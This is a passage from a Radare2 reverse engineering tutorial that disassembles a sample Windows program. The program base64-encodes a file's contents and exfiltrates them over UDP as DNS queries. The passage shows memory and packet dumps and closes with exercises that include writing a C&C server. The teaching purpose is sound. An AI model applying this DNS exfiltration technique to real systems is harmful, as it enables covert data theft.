|     :||   0x00401eeb      8810           mov byte [rax], dl
|     :||   0x00401eed      8b45cc         mov eax, dword [local_34h]
|     :||   0x00401ef0      83c001         add eax, 1
|     :||   0x00401ef3      4863c8         movsxd rcx, eax
|     :||   0x00401ef6      488b85c00101.  mov rax, qword [arg_101c0h] ; [0x101c0:8]=0
|     :||   0x00401efd      4883c001       add rax, 1
|     :||   0x00401f01      488b95d00101.  mov rdx, qword [arg_101d0h] ; [0x101d0:8]=0
|     :||   0x00401f08      4989c8         mov r8, rcx
|     :||   0x00401f0b      4889c1         mov rcx, rax
|     :||   0x00401f0e      e8b5160000     call sym.strncpy            ; char *strncpy(char *dest, const char *src, size_t  n)
|     :||   0x00401f13      488d45f0       lea rax, [local_10h]
|     :||   0x00401f17      4883c00c       add rax, 0xc
|     :||   0x00401f1b      488985b80101.  mov qword [arg_101b8h], rax ; [0x101b8:8]=0
|     :||   0x00401f22      8b45cc         mov eax, dword [local_34h]
|     :||   0x00401f25      83c001         add eax, 1
|     :||   0x00401f28      4863c8         movsxd rcx, eax
|     :||   0x00401f2b      488b95c00101.  mov rdx, qword [arg_101c0h] ; [0x101c0:8]=0
|     :||   0x00401f32      488b85b80101.  mov rax, qword [arg_101b8h] ; [0x101b8:8]=0
|     :||   0x00401f39      4989c8         mov r8, rcx
|     :||   0x00401f3c      4889c1         mov rcx, rax
|     :||   0x00401f3f      e884160000     call sym.strncpy            ; char *strncpy(char *dest, const char *src, size_t  n)
|     :||   0x00401f44      488b85b80101.  mov rax, qword [arg_101b8h] ; [0x101b8:8]=0
|     :||   0x00401f4b      4889c1         mov rcx, rax
|     :||   0x00401f4e      e885160000     call sym.strlen             ; size_t strlen(const char *s)
|     :||   0x00401f53      488d500d       lea rdx, [rax + 0xd]        ; 13
|     :||   0x00401f57      488d45f0       lea rax, [local_10h]
|     :||   0x00401f5b      4801d0         add rax, rdx                ; '('
|     :||   0x00401f5e      488985f00101.  mov qword [arg_101f0h], rax ; [0x101f0:8]=0
|     :||   0x00401f65      b910000000     mov ecx, 0x10               ; 16
|     :||   0x00401f6a      488b05b77400.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409428:8]=0x97d6 reloc.WS2_32.dll_htons
|     :||   0x00401f71      ffd0           call rax
|     :||   0x00401f73      89c2           mov edx, eax
|     :||   0x00401f75      488b85f00101.  mov rax, qword [arg_101f0h] ; [0x101f0:8]=0
|     :||   0x00401f7c      668910         mov word [rax], dx
|     :||   0x00401f7f      b901000000     mov ecx, 1
|     :||   0x00401f84      488b059d7400.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409428:8]=0x97d6 reloc.WS2_32.dll_htons
|     :||   0x00401f8b      ffd0           call rax
|     :||   0x00401f8d      89c2           mov edx, eax
|     :||   0x00401f8f      488b85f00101.  mov rax, qword [arg_101f0h] ; [0x101f0:8]=0
|     :||   0x00401f96      66895002       mov word [rax + 2], dx
|     :||   0x00401f9a      488b85b80101.  mov rax, qword [arg_101b8h] ; [0x101b8:8]=0
|     :||   0x00401fa1      4889c1         mov rcx, rax
|     :||   0x00401fa4      e82f160000     call sym.strlen             ; size_t strlen(const char *s)
|     :||   0x00401fa9      83c011         add eax, 0x11
|     :||   0x00401fac      4189c0         mov r8d, eax
|     :||   0x00401faf      488d45f0       lea rax, [local_10h]
|     :||   0x00401fb3      488b8df80101.  mov rcx, qword [arg_101f8h] ; [0x101f8:8]=0
|     :||   0x00401fba      8b950c020100   mov edx, dword [arg_1020ch] ; [0x1020c:4]=0
|     :||   0x00401fc0      89542428       mov dword [local_28h_2], edx
|     :||   0x00401fc4      488d95100001.  lea rdx, [arg_10010h]       ; 0x10010
|     :||   0x00401fcb      4889542420     mov qword [local_20h_2], rdx
|     :||   0x00401fd0      41b900000000   mov r9d, 0
|     :||   0x00401fd6      4889c2         mov rdx, rax
|     :||   0x00401fd9      488b05587400.  mov rax, qword sym.imp.WS2_32.dll_sendto ; [0x409438:8]=0x97ea reloc.WS2_32.dll_sendto
|     :||   0x00401fe0      ffd0           call rax
|     :||   0x00401fe2      83f8ff         cmp eax, 0xffffffffffffffff
|    ,====< 0x00401fe5      7521           jne 0x402008
|    |:||   0x00401fe7      488b052a7400.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x409418:8]=0x97b6 reloc.WS2_32.dll_WSAGetLastError
|    |:||   0x00401fee      ffd0           call rax
|    |:||   0x00401ff0      89c2           mov edx, eax
|    |:||   0x00401ff2      488d0daf3000.  lea rcx, str.sendto___failed_with_error_code_:__d ; 0x4050a8 ; "sendto() failed with error code : %d "
|    |:||   0x00401ff9      e8ea150000     call sym.printf             ; int printf(const char *format)
|    |:||   0x00401ffe      b901000000     mov ecx, 1
|    |:||   0x00402003      e818160000     call sym.exit
|    |:||   ; CODE XREF from 0x00401fe5 (sym.sendFile)
|    `----> 0x00402008      0fbf850a0201.  movsx eax, word [arg_1020ah] ; [0x1020a:2]=0
|     :||   0x0040200f      89c2           mov edx, eax
|     :||   0x00402011      488d0db63000.  lea rcx, str.d_bytes_now_sent ; 0x4050ce ; "%d bytes now sent\n"
|     :||   0x00402018      e8cb150000     call sym.printf             ; int printf(const char *format)
|     :||   0x0040201d      b901000000     mov ecx, 1
|     :||   0x00402022      e879150000     call sym.sleep              ; int sleep(int s)
|     :||   0x00402027      8b45ec         mov eax, dword [local_14h]
|     :||   0x0040202a      89c2           mov edx, eax
|     :||   0x0040202c      0fb7850a0201.  movzx eax, word [arg_1020ah] ; [0x1020a:2]=0
|     :||   0x00402033      01d0           add eax, edx
|     :||   0x00402035      6689850a0201.  mov word [arg_1020ah], ax   ; [0x1020a:2]=0
|     :||   0x0040203c      4889fc         mov rsp, rdi
|     :||   ; CODE XREF from 0x00401e33 (sym.sendFile)
|     :|`-> 0x0040203f      0fbf850a0201.  movsx eax, word [arg_1020ah] ; [0x1020a:2]=0
|     :|    0x00402046      3985dc010100   cmp dword [arg_101dch], eax ; [0x13:4]=-1 ; 19
|     `===< 0x0040204c      0f8fe6fdffff   jg 0x401e38
|      |    ; CODE XREF from 0x00401beb (sym.sendFile)
|      `--> 0x00402052      488da5180201.  lea rsp, [arg_10218h]       ; 0x10218
|           0x00402059      5b             pop rbx
|           0x0040205a      5e             pop rsi
|           0x0040205b      5f             pop rdi
|           0x0040205c      415c           pop r12
|           0x0040205e      415d           pop r13
|           0x00402060      5d             pop rbp
\           0x00402061      c3             ret
[0x00401b80]>                                                         

This time we’ll focus on the read call, the base64 encode and on the sendto only cause we already know about the code and it looks very simple on the big picture.

|     :||   0x00401e63      4889c2         mov rdx, rax
|     :||   0x00401e66      488b05537400.  mov rax, qword sym.imp.KERNEL32.dll_ReadFile ; [0x4092c0:8]=0x9576 reloc.KERNEL32.dll_ReadFile ; "v\x95"
|     :||   0x00401e6d      ffd0           call rax
|     :||   0x00401e6f      8b55ec         mov edx, dword [local_14h]
|     :||   0x00401e72      488d4dcc       lea rcx, [local_34h]
|     :||   0x00401e76      488d45d0       lea rax, [local_30h]
|     :||   0x00401e7a      4989c8         mov r8, rcx
|     :||   0x00401e7d b    4889c1         mov rcx, rax
|     :||   0x00401e80      e8cbf6ffff     call sym.base64_encode
|     :||   0x00401e85 b    4898           cdqe
|     :||   0x00401e87      488985d00101.  mov qword [arg_101d0h], rax ; [0x101d0:8]=0

Then the encoding will be done, and the buffer will be moved to another one for the sendto()

[0x00401e7d]> pxw @ 0x0060fb70
0x0060fb70  0x65726f4c 0x7069206d 0x206d7573 0x6f6c6f64  Lorem ipsum dolo
0x0060fb80  0x69732072 0x6d612074 0x00000000 0x00000018  r sit am........
0x0060fb90  0x00017c09 0x00000100 0x00000000 0x00000000  .|..............
0x0060fba0  0x00000000 0x00000000 0x00000000 0x00000000  ................

Here we can see the base64 encoding on memory:

[0x00401fe0]> pxw @ 0x0060fb30
0x0060fb30  0x39475421 0x30575a79 0x42586167 0x3057647a  !TG9yZW0gaXBzdW0
0x0060fb40  0x39475a67 0x49336273 0x6c326367 0x46474930  gZG9sb3Igc2l0IGF
0x0060fb50  0x00000a74 0x00000000 0x00000000 0x00000000  t...............
0x0060fb60  0x00000000 0x00000000 0x00000000 0x00000021  ............!...
0x0060fb70  0x00000000 0x7069206d 0x206d7573 0x6f6c6f64  ....m ipsum dolo
0x0060fb80  0x69732072 0x6d612074 0x00000000 0x00000018  r sit am........
0x0060fb90  0x0001fc1f 0x00000100 0x00000000 0x39475421  ............!TG9
0x0060fba0  0x30575a79 0x42586167 0x3057647a 0x39475a67  yZW0gaXBzdW0gZG9
0x0060fbb0  0x49336273 0x6c326367 0x46474930 0x00000a74  sb3Igc2l0IGFt...
0x0060fbc0  0x00010010 0x00000000 0x00000000 0x00000000  ................

DNS queries will be looking like this over the network:

00000000  1f fc 01 00 00 01 00 00  00 00 00 00 21 64 43 42   ........ ....!dCB
00000010  6b 62 32 78 76 63 6d 55  67 62 57 46 6e 62 6d 45   kb2xvcmU gbWFnbmE
00000020  67 59 57 78 70 63 58 56  68 4c 69 42 56 0a 00 00   gYWxpcXV hLiBV...
00000030  10 00 01                                           ...
    00000000  1f fc 81 82 00 01 00 00  00 00 00 00 21 64 43 42   ........ ....!dCB
    00000010  6b 62 32 78 76 63 6d 55  67 62 57 46 6e 62 6d 45   kb2xvcmU gbWFnbmE
    00000020  67 59 57 78 70 63 58 56  68 4c 69 42 56 0a 00 00   gYWxpcXV hLiBV...
    00000030  10 00 01                                           ...

Aaaaaaand we are doneee

Now it’s your turn to play with this one here are the recommended exercises for you:

  • Make a simple script with r2pipe that keeps track of CandC commands and also for retrieving files and reconstructing them for the b64 program
  • Modify / analyze the C&C program to figure out about that mysterious func
  • Code a simple C&C server for those
Reverse engineering x64 binaries with Radare2 - 17 (winsock, udp C&C and file exfiltration through DNS)
Older post

Reverse engineering x64 binaries with Radare2 - 16 - II (more sockets, http emulation, radasm, ragg and shellcode)

Newer post

Reverse engineering x64 binaries with Radare2 - 18 (Bind and reverse shells)

Reverse engineering x64 binaries with Radare2 - 17 (winsock, udp C&C and file exfiltration through DNS)